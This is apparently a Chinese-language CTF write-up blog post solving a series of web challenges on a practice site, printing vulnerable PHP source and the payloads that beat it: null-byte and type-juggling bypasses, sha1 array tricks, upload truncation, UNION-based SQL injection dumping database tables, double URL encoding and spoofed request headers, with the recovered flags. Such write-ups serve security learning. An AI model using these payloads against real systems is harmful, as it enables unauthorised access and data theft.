9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

审计源代码,获得flag需要绕过3个检测:

1.符合ereg正则匹配,用%00绕过即可

2.password长度小于8但是值大于9999999,用科学计数法即可绕过

3.*-*必须出现在password值中

最后payload:

1
password=1e8%00*-*

Guess Next Session

网址:http://ctf5.shiyanbar.com/web/Session.php

源代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

审计得flag思路:GET的参数password必须等于SESSION[‘password’],我们知道session是存储在服务器上,但是在本地存在一个cookie字段:session_id

我们可以将cookie字段的session_id删除,然后get的参数password为空,即可让二者相等

FALSE

网址:http://ctf5.shiyanbar.com/web/false.php

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

得到flag思路:GET的参数name和password不相等但是sha1加密后相等

查询得知sha1函数只能处理字符串类型,处理数组则返回FALSE,那么可以构造payload:

name[]=a&password[]=b

a和b只要不相等就能得到flag

上传绕过

网址:http://ctf5.shiyanbar.com/web/upload/

bp截取包修改文件类型无效,修改为png文件提示必须上传php文件

尝试0x00截断

在上传路径/uploads/下添加demo.php+

并将+在十六进制中的2b替换成00

获取flag

NSCTF web200

网址:http://ctf5.shiyanbar.com/web/web200.jpg

给出加密函数,要求我们编写解密函数

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

function decode($key){
$_ = base64_decode(strrev(str_rot13($key)));
$_o = '';
for($_0=0;$_0<strlen($_);$_0++){
$c = substr($_,$_0,1);
$__ = chr(ord($c)-1);
$_o = $_o.$__;
}
$str = strrev($_o);
return $str;
}

$key = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
echo decode($key);

?>

运行结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

程序逻辑问题

网址:http://ctf5.shiyanbar.com/web/5/index.php

源代码提示文件index.txt,访问得源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if($_POST['user'] && $_POST['pass']) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error){
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST['user'];
$pass = md5($_POST['pass']);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}

?>

对参数$user不存在过滤,可以进行sql注入,进而控制查询结果的pw列的数据

因为$pass是我们POST的参数pass经过md5加密后得到的值

所以构造payload:

1
user=' union select md5('1')#&pass=1

得到flag:SimCTF{youhaocongming}

what a fuck!这是什么鬼东西?

网址:http://ctf5.shiyanbar.com/DUTCTF/1.html

页面显示一段jsfuck代码

直接放到浏览器控制台运行

弹出密码:Ihatejs

尝试即为flag

PHP大法

网址:http://ctf5.shiyanbar.com/DUTCTF/index.php

源代码给出提示文件index.php.txt

访问得源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

考察url二次编码,将hackerDJ进行二次url编码后作为参数id值,浏览器首先会对id值进行一次url解码,之后绕过eregi检测后再对一次解码后的值进行二次解码,解码后得hackerDJ

payload:

1
?id=%2568%2561%2563%256b%2565%2572%2544%254a

这个看起来有点简单!

网址:http://ctf5.shiyanbar.com/8/index.php

输入1’,1”都报错,输入1%23返回正确信息

说明id未被引号包裹

进行sql注入:

注数据库payload:

1
?id=0%20union%20select%201,database()%23

数据库名:my_db

注数据表payload:

1
?id=0%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

数据表名:news,thiskey

注数据列payload:

1
?id=0%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27thiskey%27%23

列名:k0y

注数据payload:

1
?id=0%20union%20select%201,k0y%20from%20thiskey%23

flag: whatiMyD91dump

貌似有点难

网址:http://ctf5.shiyanbar.com/phpaudit/

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

burp抓包添加X-Forwarded-For:1.1.1.1即可获得flag:SimCTF{daima_shengji}

头有点大

网址:http://ctf5.shiyanbar.com/sHeader/

页面给了提示http header

Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

思路就是修改http请求头部的User-Agent字段和Accept-Language字段

第一个是安装.net9.9框架 第二个是保证在英国地区 第三个是用ie浏览器

第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)来实现

最后一个在英国我们把语言改成en-gb即可

猫抓老鼠

网址:http://ctf5.shiyanbar.com/basic/catch/

提示catch,bp抓包发现响应头部字段Content-Row: MTUzNzAzMDU2OA==

经过base64解密后1537030568

作为pass_key提交无果,直接提交pass_key=MTUzNzAzMDU2OA==得到flag

KEY: #WWWnsf0cus_NET#

看起来有点难

网址:http://ctf5.shiyanbar.com/basic/inject/index.php

注入点在admin,使用基于时间的盲注,脚本略

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/09/13/%E5%AE%9E%E9%AA%8C%E5%90%A7Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog